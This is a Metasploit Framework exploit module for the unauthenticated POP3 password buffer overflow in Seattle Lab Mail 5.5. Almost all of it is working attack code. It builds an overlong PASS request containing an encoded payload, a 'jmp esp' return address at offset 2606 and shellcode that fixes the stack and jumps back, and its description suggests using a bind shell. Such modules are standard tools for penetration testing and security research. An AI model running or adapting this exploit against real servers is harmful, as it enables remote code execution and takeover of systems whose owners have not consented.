Seattle Lab Mail 5.5 POP3 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',  
'Description' => %q{  
There exists an unauthenticated buffer overflow vulnerability  
in the POP3 server of Seattle Lab Mail 5.5 when sending a password  
with excessive length.  
  
Successful exploitation should not crash either the  
service or the server; however, after initial use the  
port cannot be reused for successive exploitation until  
the service has been restarted. Consider using a command  
execution payload following the bind shell to restart  
the service if you need to reuse the same port.  
  
The overflow appears to occur in the debugging/error reporting  
section of the slmail.exe executable, and there are multiple  
offsets that will lead to successful exploitation. This exploit  
uses 2606, the offset that creates the smallest overall payload.  
The other offset is 4654.  
  
The return address is overwritten with a "jmp esp" call from the  
application library SLMFC.DLL found in %SYSTEM%\\system32\\. This  
return address works against all version of Windows and service packs.  
  
The last modification date on the library is dated 06/02/99. Assuming  
that the code where the overflow occurs has not changed in some time,  
prior version of SLMail may also be vulnerable with this exploit. The  
author has not been able to acquire older versions of SLMail for  
testing purposes. Please let us know if you were able to get this  
exploit working against other SLMail versions.   
},  
'Author' => 'stinko',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['OSVDB', '12002'],  
['BID', '7519'],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a\x0d\x20",  
'MinNops' => 100,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]  
],  
'DisclosureDate' => 'May 07 2003',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(110)  
], self.class)  
  
end  
  
def exploit  
connect  
  
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")  
  
banner = sock.get_once  
if banner !~ /^\+OK POP3 server (.*) ready/  
print_error("POP3 server does not appear to be running")  
return  
end  
  
sock.put("USER #{rand_text_alphanumeric(10)}\r\n")  
res = sock.get_once  
if banner !~ /^\+OK (.*) welcome here$/  
print_error("POP3 server rejected username")  
return  
end  
  
request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)  
request << payload.encoded  
request << [target.ret].pack('V')  
request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack  
request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes  
request << rand_text_alphanumeric(512) # cruft  
request << "\r\n"  
  
sock.put(request)  
  
handler  
disconnect  
end  
  
end  
`